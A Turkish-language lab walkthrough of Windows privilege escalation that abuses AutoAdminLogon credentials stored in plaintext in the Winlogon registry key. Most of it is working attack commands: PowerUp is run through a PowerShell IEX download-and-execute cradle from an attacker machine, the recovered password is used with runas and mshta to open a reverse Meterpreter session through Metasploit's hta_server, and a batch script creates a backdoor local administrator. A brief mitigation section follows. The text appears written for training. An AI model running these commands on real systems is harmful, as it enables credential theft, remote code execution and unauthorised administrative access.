A) Ortamın Hazırlanması
Mevcut ortamda “Egitim” ve “Yonetici” adlı kullanıcı adlı hesaplar yerel yönetici yetkisine sahip iken; “YetkisizHesap” adlı kullanıcı ise standart yetkiye sahiptir. Bilgisayar açıldığında “Egitim” kullanıcısı ile oturum açabilmek için User Accounts penceresinde bir takım ayarlar yapılabilir.
netplwiz
“Egitim” kullanıcısı seçildikten sonra, kırmızı ile belirtilen kutucuktaki seçim kaldırılıp, açılan pencerede parola bilgisi yeniden girildiğinde, bilgisayar açılışında “Egitim” kullanıcısı ile otomatik olarak oturum açılması sağlanacaktır.
Bu ayarlamalar sonucunda Winlogon anahtarı altında kimlik bilgileri oluşmaktadır.
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- DefaultDomainName
- DefaultUserName
- DefaultPassword
B) PowerUp Betiği ile AutoAdminLogon Bilgilerinin Tespiti
Windows ortamındaki yapılandırma hatalarını tespit etmek için kullanılabilecek betiklerden birisi de PowerUp betiğidir.
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Bu betik ile zafiyete sebep olabilecek servisler, kayıt değerleri veya zamanlanmış görevler, Group Policy Preferences (GPP) ayarlarına ait XML dosyaları, kütüphane (DLL) veya web.config gibi dosyalar tespit edilebilir. Kullanılan metodlar aşağıdaki gibi sıralanabilir.
- Find-DLLHijack
- Find-PathHijack
- Get-ApplicationHost
- Get-ModifiableFile
- Get-RegAlwaysInstallElevated
- Get-RegAutoLogon
- Get-ServiceDetail
- Get-ServiceFilePermission
- Get-ServicePermission
- Get-ServiceUnquoted
- Get-UnattendedInstallFile
- Get-VulnAutoRun
- Get-VulnSchTask
- Get-Webconfig
- Install-ServiceBinary
- Invoke-AllChecks
- Invoke-ServiceAbuse
- Invoke-ServiceDisable
- Invoke-ServiceEnable
- Invoke-ServiceStart
- Invoke-ServiceStop
- Restore-ServiceBinary
- Test-ServiceDaclPermission
- Write-HijackDll
- Write-ServiceBinary
- Write-UserAddMSI
İlgili betik saldırı amacı ile kullanılan Kali bilgisayarına indirilir.
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 -O ZafiyetAra.ps1
wc -l ZafiyetAra.ps1
file ZafiyetAra.ps1
sha1sum ZafiyetAra.ps1
Mevcut durumda, Kali üzerinde YetkisizHesap adlı kullanıcının yetkileri ile komut satırı erişimi elde edilmiştir.
whoami
whoami /priv
Kali üzerinde dinleyici başlatılır.
python3 -m http.server 80
PowerUp betiği Kali üzerinden indirilip çalıştırılması ve sonucunun dönmesi amaçlanmaktadır. Bu amaçla dosyanın sonuna tüm kontrollerin yapılması için Invoke-AllChecks fonksiyonu eklenir.
tail -8 ZafiyetAra.ps1
echo “Invoke-AllChecks” >> ZafiyetAra.ps1
tail -9 ZafiyetAra.ps1
YetkisizHesap komut satırında PowerUp betiği indirilerek çalıştırıldığında zafiyetli durumlar listelenmiş olur.
powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.143/ZafiyetAra.ps1’)
Keşfedilen yapılandırma hatalarından birisi de AutoLogon kimlik bilgileridir.
Bu sonucu veren komutlar aşağıdaki satırlardır.
…
$DefaultDomainName = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
$DefaultUserName = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
$DefaultPassword = $(Get-ItemProperty -Path “HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
..
Sonuç olarak aşağıdaki gibi kimlik bilgileri elde edilmiştir.
- DefaultDomainName: WORKGROUP
- DefaultUserName: egitim
- DefaultPassword: KarmasikParola123
C) Etkileşimli Komut Satırında Başka Bir Kullanıcı Yetkisi İle Komut Çalıştırma
Mevcut ortamda etkileşimsiz komut satırı elde edilmiştir. Etkileşimli komut satırı elde edilmiş olması durumunda runas aracı ile komut çalıştırılabilir veya komut çalıştırılabilir.
runas /profile /env /user:WORKGROUP\egitim cmd
whoami
Yetkili kullanıcı hakları ile yeni bir kullanıcı oluşturulabilir, YetkisizHesap adlı kullanıcı hesabı Administrators grubuna eklenebilir, arka kapı bırakılabilir, yetkili kullanıcı hakları ile zararlı bir dosya tetiklenebilir.
Örneğin, MSF hta_server istismar modülü ile oluşturulan HTA dosyası çağırılarak ters Meterpreter bağlantısı elde edilebilir. Bu amaçla HTA servisi Kali üzerinde başlatılır.
use exploit/windows/misc/hta_server
set SRVHOST 192.168.100.144
set LHOST 192.168.100.144
exploit
Kurban bilgisayarda runas aracı sayesinde egitim kullanıcısı yetkileri ile mshta aracı çalıştırılabilir.
runas /profile /env /user:WORKGROUP\egitim “mshta.exe http://192.168.100.144:8080/5VDYH2wP2q0nH.hta”
Böylece Kali üzerinde Meterpreter bağlantısı yakalanabilir.
sessions -i 1
getuid
D) Etkileşimsiz Komut Satırında Başka Bir Kullanıcı Yetkisi İle Komut Çalıştırma
Etkileşimli komut satırı erişiminin elde edilemediği durumlarda ise, Powershell ile komut çalıştırılabilir. Örneğin, Egitim adlı yetkili kullanıcının hakları ile yeni bir yerel yönetici kullanıcısı oluşturmaya yarayan bir betik çalıştırılabilir. Bunun için öncelikle bu betik Kali üzerinde oluşturulur.
nano Calistir.bat
cat Calistir.bat
Calistir.bat dosya içeriği aşağıdaki gibidir.
net user YeniHesap Yy123456 /add
net localgroup Administrators YeniHesap /add
Bu betiği “Egitim” kullanıcısına ait kimlik bilgileri ile çalıştırmaya yarayan betik Kali üzerinde oluşturulur.
nano HakYukselt.ps1
cat HakYukselt.ps1
HakYukselt.ps1 dosya içeriği aşağıdaki gibidir.
$KullaniciAdi = “$env:COMPUTERNAME\egitim”
$Parola = ConvertTo-SecureString “KarmasikParola123” -AsPlainText -force
$KimlikBilgisi = New-Object System.Management.Automation.PSCredential -ArgumentList $KullaniciAdi, $Parola
Start-Process powershell.exe -Credential $KimlikBilgisi -ArgumentList “Start-Process C:\Windows\TEMP\Calistir.bat”
YetkisizHesap haklı ile elde edilmiş olan etkileşimsiz komut satırında Calistir.bat dosyasının indirilip, HakYukselt.ps1 dosyasının çalıştırılabildiği görülmektedir.
net user
powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.100.143/Calistir.bat’,’C:\Windows\TEMP\Calistir.bat’)”
powershell IEX(New-Object Net.WebClient).downloadString(‘http://192.168.100.143/HakYukselt.ps1’)
Böylece yeni bir yerel yönetici kullanıcısının oluşturulabilmiştir.
net user
net localgroup Administrators
E) Önlemi
Varsayılan kimlik bilgileri ile oturum açma özelliği kullanılmamalıdır. Bu gibi bir ihtiyaç varsa da kimlik bilgileri kayıt defteri içerisinde (LSASecret) şifreli olarak saklanmalıdır.
HKLM\SECURITY\Policy\Secrets
Not: Servis hesaplarına ait kimlik bilgileri, otomatik oturumlara ait kimlik bilgileri, uygulama kimlik bilgileri kayıt defteri üzerinde şifreli olarak saklanabilir. Bu şifreli değerleri sadece NT AUTHORITY\SYSTEM ile erişilebilir. Ancak yerel yönetici yetkisindeki bir kullanıcı LocalSystem yetkisine erişebildiği için, yönetici yetkisindeki bir kullanıcı bu kimlik bilgilerini deşifre edebilir. Deşifre işlemi için kullanılabilecek Wİndows API metodları aşağıdaki gibi sıralanabilir.
- LsaRetrievePrivateData
- LsaStorePrivateData
- LsaOpenPolicy
- LsaNtStatusToWinError
- LsaClose
- LsaFreeMemory
Kaynaklar:
https://www.lifewire.com/how-do-i-auto-login-to-windows-2626066
https://community.spiceworks.com/topic/2154307-runas-with-pscredential
https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
https://www.slideshare.net/NetSPI/extracting-credentials-from-windows